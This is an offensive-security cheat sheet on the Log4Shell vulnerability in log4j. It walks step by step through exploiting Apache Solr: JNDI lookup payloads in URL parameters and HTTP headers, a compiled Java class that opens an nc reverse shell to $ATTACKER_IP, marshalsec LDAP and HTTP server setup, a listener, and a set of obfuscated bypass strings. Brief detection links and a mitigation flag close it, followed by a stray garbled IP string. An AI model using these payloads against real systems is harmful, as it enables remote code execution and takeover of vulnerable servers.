killchain-compendium/exploit/java/log4shell.md

# Log4Shell

* `log4j` < version 2.15.0rc2
* [CVE-2021-44228](https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java)
* [log4j vulnerability tester](https://log4shell.huntress.com/)
* [List of exploitable services](https://github.com/YfryTchsGD/Log4jAttackSurface)

* Code inside a `param` value is parsed and a `${payload}` will be executed, for example
```sh
${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}
```
## Java Naming and Directory Interface JNDI

* Vulnerability can be exploited via `${jndi:ldap://<attacker-IP>/foo}`

## POC
```sh
curl 'http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}'
```
* Use HTTP header field as storage for payload or any other possible input field
```HTTP
X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}
Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}
X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}
```

## Usage

* Fuzz endpoints to applicate the exploit on
* Clone and build [marshallsec](https://github.com/mbechler/marshalsec) via `mvn clean package -DskipTests`
* Java version should be the same as the one on the target
* A Proxy LDAP server to an HTTP server is needed

* Compile following Java reverse shell via `javac Exploit.java -source 8 -target 8` to Exploit.class
```sh
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash $ATTACKER_IP 4449");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```
* Run the LDAP, HTTP and reverse shell
```sh
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit"
```
```sh
php -S 0.0.0.:8000
```
```sh
nc -lvnp 4449
```

* Trigger via `curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'`

## Detection

* [Log4Shell-Hashes](https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes.git)
* [Vulnerable Class + Jar hashes](https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228)
* [reddit mega thread](https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/)
* [Yara rules](https://github.com/darkarnium/CVE-2021-44228)

* Parse logs for `jndi`

## Obfuscation 

* Possible bypasses are as follows
```sh
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}
```

## Mitgation

* [Apache Solr security news](https://solr.apache.org/security.html)
* Add the following line to `solr.in.sh`
```toml
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
10.10.90.21210.10.90.212
```